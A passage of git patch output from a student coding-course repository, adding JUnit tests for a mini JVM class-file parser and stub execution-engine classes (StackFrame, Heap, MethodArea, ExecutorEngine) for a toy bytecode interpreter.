+		System.out.println("Constant Pool:");
+		
+		
+		
+		
+	}
+}
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group05/578505552/miniJvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 2002d2dddd..7b93641e63 100644
--- a/group05/578505552/miniJvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -2,20 +2,28 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
 import com.coderising.jvm.constant.*;
+import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
 import com.coderising.jvm.util.Util;
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.List;
+
 
 public class ClassFileloaderTest {
 
 	
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
+
 	static String path1 = "D:\\project\\Learn\\coding2017\\group05\\578505552\\miniJvm\\src";
 	static String path2 = "C:\temp";
 	
@@ -26,10 +34,9 @@ public class ClassFileloaderTest {
 		String className = "com.coderising.jvm.test.EmployeeV1";
 		
 		clzFile = loader.loadClass(className);
-		clzFile.print();
+		
 	}
-	
-	
+
 	@Before
 	public void setUp() throws Exception {		 
 	}
@@ -47,7 +54,7 @@ public void testClassPath(){
 		
 		String clzPath = loader.getClassPath();
 		
-		Assert.assertEquals(path1+";"+path2,clzPath);
+		Assert.assertEquals(path1 + ";" + path2, clzPath);
 		
 	}
 	
@@ -81,7 +88,6 @@ public void testMagicNumber(){
 		Assert.assertEquals("cafebabe", acctualValue);
 	}
     
-    
     /**
      * ----------------------------------------------------------------------
      */
@@ -175,7 +181,151 @@ public void testClassIndex(){
     	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
 
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
 
-
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3);
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool, Method m , String expectedName, String expectedDesc, String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand[] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand[] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand[] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand[] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
 
 }
diff --git a/group05/578505552/miniJvm/src/com/coderising/jvm/test/EmployeeV1.java b/group05/578505552/miniJvm/src/com/coderising/jvm/test/EmployeeV1.java
index 2c0ac7cf07..f49176c686 100644
--- a/group05/578505552/miniJvm/src/com/coderising/jvm/test/EmployeeV1.java
+++ b/group05/578505552/miniJvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -8,7 +8,7 @@ public class EmployeeV1 {
     public EmployeeV1(String name, int age) {
         this.name = name;
         this.age = age;        
-    }    
+    }
 
     public void setName(String name) {
 

From 0939e4126f8893ed6ee0dd60aff5456489037099 Mon Sep 17 00:00:00 2001
From: zj <2258659044@qq.com>
Date: Mon, 24 Apr 2017 10:50:47 +0800
Subject: [PATCH 117/262] coding

---
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  8 +-
 .../coderising/jvm/cmd/ByteCodeCommand.java   |  4 +
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  8 +-
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  7 ++
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  8 +-
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  8 +-
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  7 ++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  7 ++
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  7 ++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  7 ++
 .../jvm/engine/ExecutionResult.java           | 52 ++++++++++
 .../coderising/jvm/engine/ExecutorEngine.java | 28 ++++++
 .../src/com/coderising/jvm/engine/Heap.java   | 39 ++++++++
 .../com/coderising/jvm/engine/JavaObject.java | 71 ++++++++++++++
 .../com/coderising/jvm/engine/MethodArea.java | 69 ++++++++++++++
 .../com/coderising/jvm/engine/MiniJVM.java    | 29 ++++++
 .../com/coderising/jvm/engine/StackFrame.java | 95 +++++++++++++++++++
 .../com/coding/basic/queue/CircleQueue.java   | 33 +++++++
 .../src/com/coding/basic/queue/Josephus.java  | 18 ++++
 .../com/coding/basic/{ => queue}/Queue.java   |  2 +-
 .../basic/queue/QueueWithTwoStacks.java       | 40 ++++++++
 .../com/coding/basic/queue/JosephusTest.java  | 27 ++++++
 .../coding/basic/{ => queue}/QueueTest.java   |  4 +-
 23 files changed, 571 insertions(+), 7 deletions(-)
 create mode 100644 group12/2258659044/zj-2017/src/com/coderising/jvm/engine/ExecutionResult.java
 create mode 100644 group12/2258659044/zj-2017/src/com/coderising/jvm/engine/ExecutorEngine.java
 create mode 100644 group12/2258659044/zj-2017/src/com/coderising/jvm/engine/Heap.java
 create mode 100644 group12/2258659044/zj-2017/src/com/coderising/jvm/engine/JavaObject.java
 create mode 100644 group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MethodArea.java
 create mode 100644 group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MiniJVM.java
 create mode 100644 group12/2258659044/zj-2017/src/com/coderising/jvm/engine/StackFrame.java
 create mode 100644 group12/2258659044/zj-2017/src/com/coding/basic/queue/CircleQueue.java
 create mode 100644 group12/2258659044/zj-2017/src/com/coding/basic/queue/Josephus.java
 rename group12/2258659044/zj-2017/src/com/coding/basic/{ => queue}/Queue.java (85%)
 create mode 100644 group12/2258659044/zj-2017/src/com/coding/basic/queue/QueueWithTwoStacks.java
 create mode 100644 group12/2258659044/zj-2017/src/test/com/coding/basic/queue/JosephusTest.java
 rename group12/2258659044/zj-2017/src/test/com/coding/basic/{ => queue}/QueueTest.java (90%)

diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java
index 03db32ccc9..85b2b876ff 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class BiPushCmd extends OneOperandCmd {
 
@@ -16,6 +18,10 @@ public String toString(ConstantPool pool) {
 		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
 	}
 	
-	
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java
index 4c8b21ab09..f4f63c0174 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -6,6 +6,8 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public abstract class ByteCodeCommand {	
 	
@@ -122,4 +124,6 @@ public String getReadableCodeText(){
 		}
 		return txt;
 	}
+	
+	public abstract void execute(StackFrame frame,ExecutionResult result);
 }
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java
index 92fe286363..aa268ca39e 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class GetFieldCmd extends TwoOperandCmd {
 
@@ -15,7 +17,11 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsField(pool);
 	}
 
-	
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 	
 
 }
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
index 52a7550d12..54a85e2603 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class GetStaticFieldCmd extends TwoOperandCmd {
 
@@ -16,4 +18,9 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsField(pool);
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
index c6efbae530..bdc4b00adc 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class InvokeSpecialCmd extends TwoOperandCmd {
 
@@ -16,6 +18,10 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsMethod(pool);
 	}
 
-	
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
index a17c51a81d..40a668437e 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class InvokeVirtualCmd extends TwoOperandCmd {
 
@@ -15,7 +17,11 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsMethod(pool);
 	}
 
-	
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 	
 
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java
index 00f9a5a699..f6d22350a7 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -4,6 +4,8 @@
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class LdcCmd extends OneOperandCmd {
 
@@ -26,4 +28,9 @@ public String toString(ConstantPool pool) {
 		
 	}
 	
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java
index a43c8bd964..ace90a27cd 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class NewObjectCmd extends TwoOperandCmd{
 	
@@ -15,5 +17,10 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsClassInfo(pool);
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 	
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java
index 461bb4e2a5..662f5cf5ca 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class NoOperandCmd extends ByteCodeCommand{
 
@@ -20,4 +22,9 @@ public  int getLength(){
 		return 1;
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 }
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java
index 00b29e1fbc..6c17b72c46 100644
--- a/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -2,6 +2,8 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 public class PutFieldCmd extends TwoOperandCmd {
 
@@ -15,5 +17,10 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsField(pool);
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		
+	}
 
 }
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/ExecutionResult.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..368ab4ea31
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/ExecutionResult.java
@@ -0,0 +1,52 @@
+package com.coderising.jvm.engine;
+
+import com.coderising.jvm.method.Method;
+
+public class ExecutionResult {
+	public static final int RUN_NEXT_CMD = 1;
+	public static final int JUMP = 2;
+	public static final int EXIT_CURRENT_FRAME = 3;
+	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+	
+	private int nextAction = RUN_NEXT_CMD; 
+	
+	private int nextCmdOffset = 0;
+	
+	private Method nextMethod;
+	
+	public Method getNextMethod() {
+		return nextMethod;
+	}
+	public void setNextMethod(Method nextMethod) {
+		this.nextMethod = nextMethod;
+	}
+
+	
+	
+	public void setNextAction(int action){
+		this.nextAction = action;
+	}
+	public boolean isPauseAndRunNewFrame(){
+		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+	}
+	public boolean isExitCurrentFrame(){
+		return this.nextAction == EXIT_CURRENT_FRAME;
+	}
+	
+	public boolean isRunNextCmd(){
+		return this.nextAction == RUN_NEXT_CMD;
+	}
+	
+	public boolean isJump(){
+		return this.nextAction == JUMP;
+	}
+	
+	public int getNextCmdOffset() {
+		return nextCmdOffset;
+	}
+
+	public void setNextCmdOffset(int nextCmdOffset) {
+		this.nextCmdOffset = nextCmdOffset;
+	}
+		
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/ExecutorEngine.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..dc0030932e
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.engine;
+
+import com.coderising.jvm.method.Method;
+import com.coding.basic.stack.Stack;
+
+public class ExecutorEngine {
+
+	private Stack<StackFrame> stack = new Stack<StackFrame>();
+	
+	public ExecutorEngine() {
+		
+	}
+	
+	public void execute(Method mainMethod){
+		
+		
+		
+	}
+	
+	
+	
+	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+		
+		
+		
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/Heap.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/Heap.java
new file mode 100644
index 0000000000..7df6548625
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/Heap.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.engine;
+
+public class Heap {
+	
+	/**
+	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+	 */
+	
+	private static Heap instance = new Heap();
+	private Heap() {		
+	}
+	public static Heap getInstance(){
+		return instance;
+	}
+	public JavaObject newObject(String clzName){
+		
+		JavaObject jo = new JavaObject(JavaObject.OBJECT);
+		jo.setClassName(clzName);
+		return jo;
+	}
+	
+	public JavaObject newString(String value){
+		JavaObject jo = new JavaObject(JavaObject.STRING);
+		jo.setStringValue(value);
+		return jo;
+	}
+	
+	public JavaObject newFloat(float value){
+		JavaObject jo = new JavaObject(JavaObject.FLOAT);
+		jo.setFloatValue(value);
+		return jo;
+	}
+	public JavaObject newInt(int value){
+		JavaObject jo = new JavaObject(JavaObject.INT);
+		jo.setIntValue(value);
+		return jo;
+	}
+
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/JavaObject.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..e48667b9d2
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/JavaObject.java
@@ -0,0 +1,71 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+	public static final int OBJECT = 1;
+	public static final int STRING = 2;
+	public static final int INT = 3;
+	public static final int FLOAT = 4;
+	
+	int type;
+	private String className;
+	
+	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+	
+	private String stringValue;
+	
+	private int intValue;
+	
+	private float floatValue;
+	
+	public void setFieldValue(String fieldName, JavaObject fieldValue){
+		fieldValues.put(fieldName, fieldValue);
+	}
+	public JavaObject(int type){
+		this.type = type;
+	}
+	public void setClassName(String className){
+		this.className = className;
+	}
+	public void setStringValue(String value){
+		stringValue = value;
+	}
+	public String getStringValue(){
+		return this.stringValue;
+	}
+	public void setIntValue(int value) {
+		this.intValue = value;		
+	}
+	public int getIntValue(){
+		return this.intValue;
+	}
+	public int getType(){
+		return type;
+	}
+	public JavaObject getFieldValue(String fieldName){
+		return this.fieldValues.get(fieldName);
+	}
+	public String toString(){
+		switch(this.getType()){
+		case INT: 
+			return String.valueOf(this.intValue);
+		case STRING:
+			return this.stringValue;
+		case OBJECT:
+			return this.className +":"+ this.fieldValues;
+		case FLOAT :
+			return String.valueOf(this.floatValue);
+		default:
+			return null;
+		}
+	}
+	public String getClassName(){
+		return this.className;
+	}
+	public void setFloatValue(float value) {
+		this.floatValue = value;		
+	}
+
+}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MethodArea.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..9d21b55787
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MethodArea.java
@@ -0,0 +1,69 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.exception.NotAClassFileException;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+public class MethodArea {
+	
+	public static final MethodArea instance = new MethodArea();
+	
+	/**
+	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+	 */
+	
+	private ClassFileLoader clzLoader = null;
+	
+	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
+	
+	private MethodArea(){		
+	}
+	
+	public static MethodArea getInstance(){
+		return instance;
+	}
+	
+	public void setClassFileLoader(ClassFileLoader clzLoader){
+		this.clzLoader = clzLoader;
+	}
+	
+	public Method getMainMethod(String className) throws NotAClassFileException{
+		
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMainMethod();
+	}
+	
+	
+	public  ClassFile findClassFile(String className) throws NotAClassFileException{
+		
+		if(map.get(className) != null){
+			return map.get(className);
+		}
+		// 看来该class 文件还没有load过
+		ClassFile clzFile = this.clzLoader.loadClass(className);
+		
+		map.put(className, clzFile);
+		
+		return clzFile;
+		
+	}
+	
+	
+	public Method getMethod(String className, String methodName, String paramAndReturnType){
+		
+		return null;
+	}
+	
+	
+	public Method getMethod(MethodRefInfo methodRef){		
+		
+		return null;
+			
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MiniJVM.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..7e933213cb
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/MiniJVM.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.engine;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+import com.coderising.jvm.exception.NotAClassFileException;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class MiniJVM {
+	
+	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException, NotAClassFileException{
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		for(int i=0;i<classPaths.length ; i++){
+			loader.addClassPath(classPaths[i]);
+		}
+		
+		MethodArea methodArea= MethodArea.getInstance();
+		
+		methodArea.setClassFileLoader(loader);
+		
+		ExecutorEngine engine = new ExecutorEngine();
+		
+		className = className.replace(".", "/");
+		
+		engine.execute(methodArea.getMainMethod(className));
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/StackFrame.java b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..77c67f02ad
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/com/coderising/jvm/engine/StackFrame.java
@@ -0,0 +1,95 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.method.Method;
+
+public class StackFrame {
+	
+	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+	
+	int index = 0;
+	
+	private Method m = null;
+	
+	private StackFrame callerFrame = null;
+	
+	public StackFrame getCallerFrame() {
+		return callerFrame;
+	}
+
+	public void setCallerFrame(StackFrame callerFrame) {
+		this.callerFrame = callerFrame;
+	}
+
+	
+	
+	
+	public static  StackFrame create(Method m){
+		
+		StackFrame frame = new StackFrame( m );			
+		
+		return frame;
+	}
+
+	
+	private StackFrame(Method m) {		
+		this.m = m;
+		
+	}
+	
+	
+	
+	public JavaObject getLocalVariableValue(int index){
+		return this.localVariableTable.get(index);
+	}
+	
+	public Stack<JavaObject> getOprandStack(){
+		return this.oprandStack;
+	}
+	
+	public int getNextCommandIndex(int offset){
+		
+		ByteCodeCommand [] cmds = m.getCmds();
+		for(int i=0;i<cmds.length; i++){
+			if(cmds[i].getOffset() == offset){
+				return i;
+			}
+		}
+		throw new RuntimeException("Can't find next command");
+	}
+	
+	public ExecutionResult execute(){
+		return null;
+		
+	}
+
+	
+	
+	
+	public void setLocalVariableTable(List<JavaObject> values){
+		this.localVariableTable = values;	
+	}
+	
+	public void setLocalVariableValue(int index, JavaObject jo){
+		//问题： 为什么要这么做？？
+		if(this.localVariableTable.size()-1 < index){
+			for(int i=this.localVariableTable.size(); i<=index; i++){
+				this.localVariableTable.add(null);
+			}
+		}
+		this.localVariableTable.set(index, jo);
+		
+		
+	}
+	
+	public Method getMethod(){
+		return m;
+	}
+	
+
+}
